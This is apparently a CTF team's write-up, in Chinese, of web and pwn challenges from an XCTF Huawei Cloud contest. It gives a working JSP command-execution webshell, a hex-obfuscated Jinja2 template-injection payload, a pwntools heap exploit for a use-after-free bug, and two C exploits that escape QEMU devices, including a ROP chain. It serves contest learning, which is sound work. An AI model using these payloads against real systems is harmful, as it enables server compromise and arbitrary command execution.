XCTF高校网络安全专题挑战赛-华为云专场部分WP

  • A+
所属分类:逆向工程

北极星战队本次排名第10名,共做出7道题,其中WEB 4题,PWN 3题

XCTF高校网络安全专题挑战赛-华为云专场部分WP

WEB

签到

在华为云公众号回复ctf即可得到flag

XCTF高校网络安全专题挑战赛-华为云专场部分WP

mine1_1

扫雷之后跳转到 /success?msg= 发现为 jinja2引擎的模板注入

测试发现过滤了 [] _ args 单双引号 不允许POST

%也没了

使用request.cookies绕过,根目录下没有flag,可以读取/proc/self/cmdline,回显/app/app.py

XCTF高校网络安全专题挑战赛-华为云专场部分WP

尝试读取/app/flag.txt

XCTF高校网络安全专题挑战赛-华为云专场部分WP

flag{ff54b790224daa4cdb38f1345c4d4b76}

webshell_1

就是一个上传jsp马的地方

<%

if("xin".equals(request.getParameter("pwd"))){

java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();

int a = -1;

byte[] b = new byte[2048];

out.print("<pre>");

while((a=in.read(b))!=-1){

out.println(new String(b));

}

out.print("</pre>");

}

%>

http://124.71.182.14:30048/upload/feb8a1c5-72e9-4d72-b28f-c5b07495754c.jsp?pwd=xin&cmd=ls

flag{rJABdiCp788zuPdQvO3FcHO0B5YwfoeA}

mine2

模板注入

过滤了{{}},用{%print(1)%}绕过,16进制可以绕过ban掉的很多关键词

payload:?msg={%print(()|attr("x5fx5fx63x6cx61x73x73x5fx5f")|attr("x5fx5fx62x61x73x65x5fx5f")|attr("x5fx5fx73x75x62x63x6cx61x73x73x65x73x5fx5f")()|attr("x5fx5fx67x65x74x69x74x65x6dx5fx5f")(202)|attr("x5fx5fx69x6ex69x74x5fx5f")|attr("x5fx5fx67x6cx6fx62x61x6cx73x5fx5f")|attr("x5fx5fx67x65x74x69x74x65x6dx5fx5f")("x5fx5fx62x75x69x6cx74x69x6ex73x5fx5f")|attr("x5fx5fx67x65x74x69x74x65x6dx5fx5f")("x65x76x61x6c")("x5fx5fx69x6dx70x6fx72x74x5fx5fx28x27x6fx73x27x29x2ex70x6fx70x65x6ex28x27x63x61x74x20x66x6cx61x67x2ex74x78x74x27x29x2ex72x65x61x64x28x29"))%}
XCTF高校网络安全专题挑战赛-华为云专场部分WP

Pwn

cpp

程序存在UAF,由于glibc版本为2.31,所以可以利用tcache直接分配,首先分配到堆里伪造堆,得到large bin,进而泄露地址,然后分配到free_hook,写free_hook

XCTF高校网络安全专题挑战赛-华为云专场部分WP

exp

#coding:utf8
from pwn import *
#sh = process('./chall')
sh = remote('124.70.12.210',10002)
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
def add(index,content):
   sh.sendlineafter('>','0')
   sh.sendlineafter('>',content)
   sh.sendlineafter('>',str(index))
def edit(index,content = ''):
   sh.sendlineafter('>','1')
   sh.sendlineafter('>',str(index))
   if content != '':
      sh.sendlineafter('>',content)
for i in range(0x30):
   add(i,str(i))
edit(0,'ha1vk')
edit(1)
sh.recv(1)
heap_addr = u64(sh.recv(6).ljust(8,'x00'))
print 'heap_addr=',hex(heap_addr)
sh.sendafter('>',p64(heap_addr + 0x38)[0:7])
add(0,'0')
add(1,p32(0x421))
edit(2)
sh.recv(1)
libc_base = u64(sh.recv(6).ljust(8,'x00')) - 0x1ebbe0
system_addr = libc_base + libc.sym['system']
free_hook_addr = libc_base + libc.sym['__free_hook']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print 'free_hook_addr=',hex(free_hook_addr)
sh.sendlineafter('>',p64(libc_base + 0x1ebbe0)[0:6])
edit(5,'ha1vk')
edit(4,p64(free_hook_addr)[0:6])
add(2,'/bin/sh')
add(4,p64(system_addr)[0:6])
#getshell
edit(2)
sh.interactive()

fastexec

在设备的write函数里,存在任意地址读写,但是仅能写一次,也不能泄露

XCTF高校网络安全专题挑战赛-华为云专场部分WP

可以考虑低字节写opaque,使得opaque设备对象向上移动,在内存里找到合适位置,使得opaque->execed为0,而其他字段有内容,这样,这可以利用设备的read函数,读取字段便可以泄露地址,而且由于opaque->execed为0,我们还可以再次进行任意地址写。

XCTF高校网络安全专题挑战赛-华为云专场部分WP

XCTF高校网络安全专题挑战赛-华为云专场部分WP

最后,我们可以劫持设备MemoryRegion里的ops和opaque,其中ops为虚表,我们劫持到可控区,opaque为rdi,可以作为参数,最后调用设备read即可触发。由于本题是低字节覆盖,因此需要爆破4bit,多次几次就可以成功。

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>

#define PFN_MASK ((((size_t)1)<<54)-1)
char *mmio;
/*我们程序的缓冲在虚拟机里对应的物理地址*/
size_t buffer_phys_addr;
char *buffer;
void die(char *msg) {
   perror(msg);
   exit(-1);
}
//写设备内存
void mmio_write(uint64_t addr,uint64_t val) {
   *((uint64_t *)(mmio + addr)) = val;
}
//读设备内存
uint64_t mmio_read(uint64_t addr) {
   return *((uint64_t *)(mmio + addr));
}
void setPhyAddr(uint64_t val) {
   mmio_write(24,val);
}
void setPos(uint64_t val) {
   mmio_write(8,val);
}
void setLength(uint64_t val) {
   mmio_write(16,val);
}

void mem_read_write(uint64_t phyAddr,uint64_t pos,uint64_t length) {
   setPhyAddr(phyAddr);
   setPos(pos);
   setLength(length);
   mmio_write(32,63021);
}
size_t get_phys_addr(char *vir_addr) {
   int fd = open("/proc/self/pagemap", O_RDONLY); /*打开页映射表*/
   if (fd == -1) {
      die("open pagemap error");
   }
   size_t vir = (size_t)vir_addr;
   // /0x1000获得是第n页的这个n,由于一个记录数据8字节,因此*8,算的的就是该页在文件里的记录的偏移
   size_t offset = vir / 0x1000 * 8;
   if (lseek(fd,offset,SEEK_SET) == -1) {
      die("lseek pagemap error");
   }
   size_t addr;
   if (read(fd,&addr,8) != 8) {
      die("read pagemap error");
   }
   addr = (addr & PFN_MASK) * 0x1000;
   return addr;
}

int main(int argc,char ** argv) {
   //打开设备
   int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR);
   if (fd == -1) {
      die("open device error");
   }
   //映射设备内存
   mmio = mmap(NULL,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);
   if (mmio == MAP_FAILED) {
      die("mmap device memory error");
   }
   /*映射一块缓冲区*/
   buffer = mmap(NULL,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS,-1,0);
   if (buffer == MAP_FAILED) {
      die("mmap local buffer error");
   }
   //必须锁住内存,才能准确获得物理地址
   mlock(buffer, 0x1000);
   //获得buffer的物理映射地址
   buffer_phys_addr = get_phys_addr(buffer);
   printf("buffer_phys_addr=0x%lxn",buffer_phys_addr);
   size_t *d = (size_t *)buffer;
   //将FastexecState *上移
   size_t low = 0xf010 - 0x88;
   buffer[0] = low & 0xff;
   low = low >> 0x8;
   buffer[1] = low & 0xff;
   mem_read_write(buffer_phys_addr,-0xC0,0x2);
   size_t elf_base = mmio_read(16) - 0x31bd40;
   size_t system_addr = elf_base + 0x2C2180;
   printf("elf_base=0x%lxn",elf_base);
   printf("system_addr=0x%lxn",system_addr);
   low = 0xf010 - 0x48;
   buffer[0] = low & 0xff;
   low = low >> 0x8;
   buffer[1] = low & 0xff;
   mem_read_write(buffer_phys_addr,-0x38,0x2);
   //getchar();
   size_t obj_addr = mmio_read(0x8) - 0x998;
   printf("obj_addr=0x%lxn",obj_addr);
   d[0] = obj_addr + 0x948;
   d[1] = obj_addr + 0x950;
   d[2] = system_addr;
   char cmd[0x100] = "cat ";
   char *f = argv[1];
   int len = strlen(f);
   strcat(cmd,f);
   cmd[strlen(cmd)] = 0;
   //劫持设备对象
   memcpy(buffer+0x18,cmd,strlen(cmd)+1);
   mem_read_write(buffer_phys_addr,-0x80,0x18 + strlen(cmd)+1);
   //getchar();
   //getshell
   mmio_read(0x666);
   return 0;
}

qemuzzz_1

存在一个off by one,可以多读取或写入一个字节

XCTF高校网络安全专题挑战赛-华为云专场部分WP

其中buf后面是设备obj指针,由于读写会用到这个指针,因此,我们可以修改obj指针的低1字节,使得phys_addr、length、pos、obj、以及cpu_physical_memory_rw函数指针等字段偏移到buf可控区里。

XCTF高校网络安全专题挑战赛-华为云专场部分WP

同时cpu_physical_memory_rw是以原来对象指针来取得,而不是从obj,因此可以通过修改后的obj的buf来写cpu_physical_memory_rw指针。

XCTF高校网络安全专题挑战赛-华为云专场部分WP

由于offset等字段的设置不是为obj指针设置,而是原来位置设置

XCTF高校网络安全专题挑战赛-华为云专场部分WP

因此可以使用异或操作来将length1的低1位取反,进而可以在读操作完成后进行最后一步写操作。

XCTF高校网络安全专题挑战赛-华为云专场部分WP

exp

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>

#define PFN_MASK ((((size_t)1)<<54)-1)
char *mmio;
/*我们程序的缓冲在虚拟机里对应的物理地址*/
size_t buffer_phys_addr;
char *buffer;
void die(char *msg) {
   perror(msg);
   exit(-1);
}
//写设备内存
void mmio_write(uint32_t addr,uint32_t val) {
   *((uint32_t *)(mmio + addr)) = val;
}
//读设备内存
uint64_t mmio_read(uint32_t addr) {
   return *((uint32_t *)(mmio + addr));
}
void setPhyAddr(uint32_t val) {
   mmio_write(32,val);
}
void setPos(uint32_t val) {
   mmio_write(16,val);
}
void setLength(uint32_t val) {
   mmio_write(24,val);
}
void enc() {
   mmio_write(80,0x666);
}
void mem_read_write(uint32_t phyAddr,uint32_t pos,uint32_t length) {
   setPhyAddr(phyAddr);
   setPos(pos);
   setLength(length);
   mmio_write(96,0x666);
}
size_t get_phys_addr(char *vir_addr) {
   int fd = open("/proc/self/pagemap", O_RDONLY); /*打开页映射表*/
   if (fd == -1) {
      die("open pagemap error");
   }
   size_t vir = (size_t)vir_addr;
   // /0x1000获得是第n页的这个n,由于一个记录数据8字节,因此*8,算的的就是该页在文件里的记录的偏移
   size_t offset = vir / 0x1000 * 8;
   if (lseek(fd,offset,SEEK_SET) == -1) {
      die("lseek pagemap error");
   }
   size_t addr;
   if (read(fd,&addr,8) != 8) {
      die("read pagemap error");
   }
   addr = (addr & PFN_MASK);
   return addr;
}

int main(int argc,char ** argv) {
   //打开设备
   int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR);
   if (fd == -1) {
      die("open device error");
   }
   //映射设备内存
   mmio = mmap(NULL,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);
   if (mmio == MAP_FAILED) {
      die("mmap device memory error");
   }
   /*映射一块缓冲区*/
   buffer = mmap(NULL,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS,-1,0);
   if (buffer == MAP_FAILED) {
      die("mmap local buffer error");
   }
   //必须锁住内存,才能准确获得物理地址
   mlock(buffer, 0x1000);
   //获得buffer的物理映射地址
   buffer_phys_addr = get_phys_addr(buffer);
   printf("buffer_phys_addr=0x%lxn",buffer_phys_addr);
   size_t *d = (size_t *)buffer;
   d[0] = buffer_phys_addr * 0x1000;
   d[1] = (0xFD0 << 16) | 0x11;
   mem_read_write(buffer_phys_addr,0x20,0x10);
   //Off by one读取对象指针低1字节
   mem_read_write(buffer_phys_addr,0xFFF,0x3);
   printf("obj_addr_low_bit=0x%xn",buffer[1]);
   buffer[1] = buffer[1] + 0x30;
   //Off by one使得对象指针下移
   mem_read_write(buffer_phys_addr,0xFFF,0x2);
   //泄露cpu_physical_memory_rw地址
   mem_read_write(buffer_phys_addr,0xFD0,0x7);
   size_t obj_addr = d[0] - 0x30;
   size_t elf_base = d[1] - 0x5bc5c0;
   size_t system_addr = elf_base + 0x2A7A80;
   //push rsi ; pop rsp ; clc ; jmp qword ptr [rsi + 0xf]
   size_t gadget = elf_base + 0x0000000000321956;
   size_t pop_rdi = elf_base + 0x00000000002ad4a5;
   size_t pop_rsp = elf_base + 0x00000000002ad883;
   /*pop rax ; pop rbx ; pop rbp ; ret*/
   size_t pop_3 = elf_base + 0x00000000003b15ff;
   printf("obj_addr=0x%lxn",obj_addr);
   printf("elf_base=0x%lxn",elf_base);
   printf("system_addr=0x%lxn",system_addr);
   setPos(0x28);
   setLength((0x28+0x4) * 2);
   enc();
   memset(buffer,0,0x1f);
   memcpy(buffer+0x1f,&pop_3,0x8); //
   //rop
   d = (size_t *)(buffer + 0x28);
   d[0] = pop_rsp;
   d[1] = obj_addr+0xe19 + 0x47 + 0x9e0;
   d = (size_t *)(buffer + 0x47);
   d[0] = pop_rdi;
   d[1] = obj_addr+0xe19 + 0x5f + 0x9e0;
   d[2] = system_addr;
   memcpy(buffer+0x5f,"cat flag",0x8);
   d = (size_t *)(buffer + 0x1f7);
   d[0] = obj_addr+0xe19;
   d[1] = gadget;
   mem_read_write(buffer_phys_addr,0x666,0x6);
   //getchar();
   //getshell
   mem_read_write(buffer_phys_addr,0x666,0x6);
   return 0;
}


本文始发于微信公众号(星盟安全):XCTF高校网络安全专题挑战赛-华为云专场部分WP

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: